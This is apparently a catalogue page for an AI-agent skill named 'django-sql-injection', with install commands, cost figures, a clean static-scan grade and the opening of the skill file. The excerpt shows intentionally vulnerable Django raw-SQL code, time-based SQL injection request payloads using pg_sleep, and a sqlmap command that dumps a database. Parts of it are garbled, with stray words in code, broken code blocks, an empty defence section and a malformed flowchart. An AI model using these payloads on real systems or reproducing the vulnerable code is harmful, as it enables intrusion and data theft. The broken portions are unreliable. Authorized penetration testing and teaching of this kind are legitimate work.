Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/django-sql-injectionWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/django-sql-injection)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/django-sql-injection"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/django-sql-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/django-sql-injection"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/django-sql-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.01117 |
| Opus 5 | $0.00026 | $0.00558 |
| Sonnet 5 | $0.00011 | $0.00223 |
| Haiku 4.5 | $0.00005 | $0.00112 |
Grade A, and why
django-sql-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to django-sql-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 133 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Django SQL Injection
When to Use
- When auditing or penetration testing a web application built on the Django framework (often identifiable by specific session cookies, admin panels, or error pages).
- To exploit areas where developers have strayed from the safe, built-in ORM features and opted for raw SQL execution or complex, unsafe query annotations.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Understanding Django ORM Limitations
# Concept: ```
### Phase 2: Identifying Sinks (Code Review / Black Box)
```python
# Sink 1: The `.extra()` method VULNERABLE tastefully order_by = request.GET.get('order_by')
users = User.objects.extra(order_by=[order_by])
# Sink 2: RawSQL VULNERABLE from django.db.models.expressions import RawSQL
search = request.GET.get('search')
products = Product.objects.annotate(val=RawSQL(f"select count(*) from app_product where name = '{search}'", []))
# Sink 3: from django.db import connection
def custom_query(request):
user_input = request.GET.get('username')
with connection.cursor() as cursor:
cursor.execute("SELECT * FROM users WHERE username = '%s'" % user_input) # VULNERABLE ```
### Phase 3: Exploitation
```http
# GET /products?order_by=-id%3B%20SELECT%20pg_sleep(10)-- HTTP/1.1
Host: django-app.local
# GET /search?search=' OR 1=1; SELECT pg_sleep(5);-- HTTP/1.1
Phase 4: Data Exfiltration (Time-Based)
# sqlmap -u "http://target.com/products?order_by=id" -p order_by --technique=T --dbms=postgresql --dump
Decision Point 🔀
flowchart TD
A[Analyze Request ] --> B{ORMs Bypsassed ]}
B -->|Yes| C[Test Error ]
B -->|No| D[Test Raw ]
C --> E[Exploit ]
🔵 Blue Team Detection & Defense
- Strict ORM Usage: Input Validation: Key Concepts
| Concept | Description |
|---------|-------------|
|
.extra()| |
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 133 lines · 53 tokens per session scan A 2de434d95aa9
django-sql-injection is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 53 tokens to every session and 1,117 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to django-sql-injection, differing in 0 lines, and is treated as a copy.
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